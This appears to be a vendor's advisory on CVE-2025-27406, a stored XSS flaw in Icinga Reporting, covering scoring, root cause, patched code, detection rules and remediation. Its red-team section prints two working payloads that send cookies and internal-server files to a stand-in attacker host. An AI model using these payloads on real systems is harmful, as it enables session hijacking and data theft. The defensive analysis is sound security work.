CVE-2025-27406
Executive Summary
CVE-2025-27406 is a stored Cross-Site Scripting (XSS) vulnerability in Icinga Reporting, a component of Icinga Web 2. The flaw allows an authenticated attacker with template creation privileges to inject arbitrary JavaScript into report templates. When a victim previews the malicious template, the script executes in their browser, enabling session hijacking, credential theft, or actions on behalf of the user. Additionally, when a report using the template is printed to PDF, the script executes in the context of the headless browser, potentially allowing the attacker to access internal resources or exfiltrate data. The vulnerability affects versions 0.10.0 through 1.0.2 and has been patched in version 1.0.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Icinga Reporting package, which is distributed as part of Icinga Web 2. The package is typically installed via package managers (e.g., apt, yum) or from source. Organizations should verify the integrity of their Icinga packages and ensure they are sourced from official repositories. No known malicious packages have been reported in the wild.
CVSS Breakdown & Threat Level
CVSS Score: 7.7 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): Low – The attacker needs a valid account with template creation privileges.
- User Interaction (UI): Required – The victim must preview the malicious template or generate a PDF report.
- Scope (S): Changed – The impact extends beyond the vulnerable component (e.g., to the user's browser or headless browser context).
- Confidentiality (C): High – An attacker can steal session tokens, credentials, or sensitive data.
- Integrity (I): High – An attacker can perform actions on behalf of the user or modify data.
- Availability (A): None – The vulnerability does not directly impact availability.
Threat Level: High. The combination of low attack complexity, required user interaction, and high impact on confidentiality and integrity makes this a significant threat, especially in environments where Icinga is used for critical infrastructure monitoring.
Deep Dive & Mechanics
The vulnerability resides in the template rendering engine of Icinga Reporting. The application fails to properly sanitize user-supplied input when creating or editing report templates. An attacker can inject arbitrary JavaScript code into template fields (e.g., template name, description, or custom settings). When the template is previewed by another user, the injected script executes in the context of the victim's browser session.
The attack flow is as follows:
- Authentication: The attacker logs into Icinga Web 2 with a user account that has permissions to create or edit report templates.
- Template Creation: The attacker creates a new template or modifies an existing one, injecting a malicious JavaScript payload into a field that is not properly sanitized.
- Victim Interaction: The attacker lures a victim (e.g., another Icinga user) to preview the malicious template. This could be done via social engineering or by embedding the preview link in a phishing email.
- Payload Execution: When the victim previews the template, the JavaScript executes in their browser. The payload can:
- Steal session cookies and send them to an attacker-controlled server.
- Perform actions on behalf of the victim (e.g., create new users, modify monitoring configurations).
- Redirect the victim to a phishing page.
- PDF Generation: If a report using the malicious template is printed to PDF, the script executes in the headless browser (e.g., Chromium) used for PDF generation. This allows the attacker to:
- Access internal network resources that the headless browser can reach.
- Exfiltrate data from the Icinga environment.
The root cause is the lack of output encoding or sanitization when rendering template data in the web interface. The fix in version 1.0.3 likely involves proper escaping of HTML entities and JavaScript context-aware sanitization.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In template rendering function
echo "<div class='template-name'>" . $template->getName() . "</div>";
The getName() method returns the user-supplied template name without sanitization. An attacker can set the name to <script>alert('XSS')</script>.
Patched Code (Conceptual):
// In template rendering function
echo "<div class='template-name'>" . htmlspecialchars($template->getName(), ENT_QUOTES, 'UTF-8') . "</div>";
The htmlspecialchars() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A valid Icinga Web 2 account with permissions to create/edit report templates.
- Network access to the Icinga Web 2 interface.
Exploitation Steps:
- Log in to Icinga Web 2 with the attacker account.
- Navigate to Reporting > Templates and click "Create Template".
- Inject Payload: In the "Template Name" field, enter:
<script>fetch('https://attacker.example.com/steal?cookie='+document.cookie)</script> - Save the template.
- Lure Victim: Send the victim a link to preview the template (e.g.,
https://icinga.example.com/icingaweb2/reporting/template/preview?id=malicious). - Capture Data: Set up a listener on
attacker.example.comto receive the exfiltrated cookies.
Alternative Payload for PDF Generation:
<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://internal-server/secret.txt', false);
xhr.send();
fetch('https://attacker.example.com/exfil?data=' + btoa(xhr.responseText));
</script>
Blue Team (Defender)
Detection Steps:
- Monitor Template Creation/Modification: Log all changes to report templates, especially the content of template fields.
- Review Templates: Regularly audit existing templates for suspicious JavaScript or HTML content.
- Network Monitoring: Look for outbound connections from the Icinga server to unknown external hosts, especially from the headless browser process.
- User Behavior Analytics: Detect unusual patterns, such as a user creating multiple templates in a short period.
Hunting Queries:
- Search web server logs for requests to
/reporting/template/previewwith unusual parameters. - Monitor for JavaScript execution errors in browser console logs (if available).
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP/HTTPS requests from the Icinga server to unknown external IPs or domains.
- Requests containing
document.cookieorXMLHttpRequestin the URL parameters.
- File IOCs:
- Report template files containing
<script>tags or event handlers (e.g.,onload,onerror). - Suspicious entries in the Icinga database
templatetable with JavaScript in thenameordescriptionfields.
- Report template files containing
- Behavioral IOCs:
- Unusual PDF generation requests from users who do not normally generate reports.
- Multiple failed login attempts followed by template creation from a single IP.
Detection Engineering
YARA Rule
rule CVE_2025_27406_Icinga_XSS {
meta:
description = "Detects malicious Icinga report templates containing JavaScript"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-27406"
strings:
$script_tag = /<script[\s>]/ nocase
$event_handler = /on\w+\s*=/ nocase
$javascript_url = /javascript\s*:/ nocase
condition:
any of them
}
Sigma Rule
title: Icinga Reporting Template XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to create or modify Icinga report templates with JavaScript content
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/icingaweb2/reporting/template/save'
cs-uri-query|contains:
- '<script'
- 'onload='
- 'onerror='
condition: selection
falsepositives:
- Legitimate use of JavaScript in template descriptions (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-27406 Icinga Reporting XSS Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/icingaweb2/reporting/template/save"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Icinga Reporting to version 1.0.3 or later.
- Review all existing templates and remove any suspicious or unknown settings.
- Restrict template creation privileges to trusted administrators only.
Long-term Mitigations:
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enable Content Security Policy (CSP) headers to restrict script execution.
- Conduct regular security audits of Icinga configurations and templates.
- Monitor for unusual activity in Icinga logs and web server access logs.
Workaround (if patching is not immediately possible):
- Disable the template preview feature temporarily.
- Manually sanitize all template inputs using a server-side HTML purifier.
Valters IT
Securing Digital Frontiers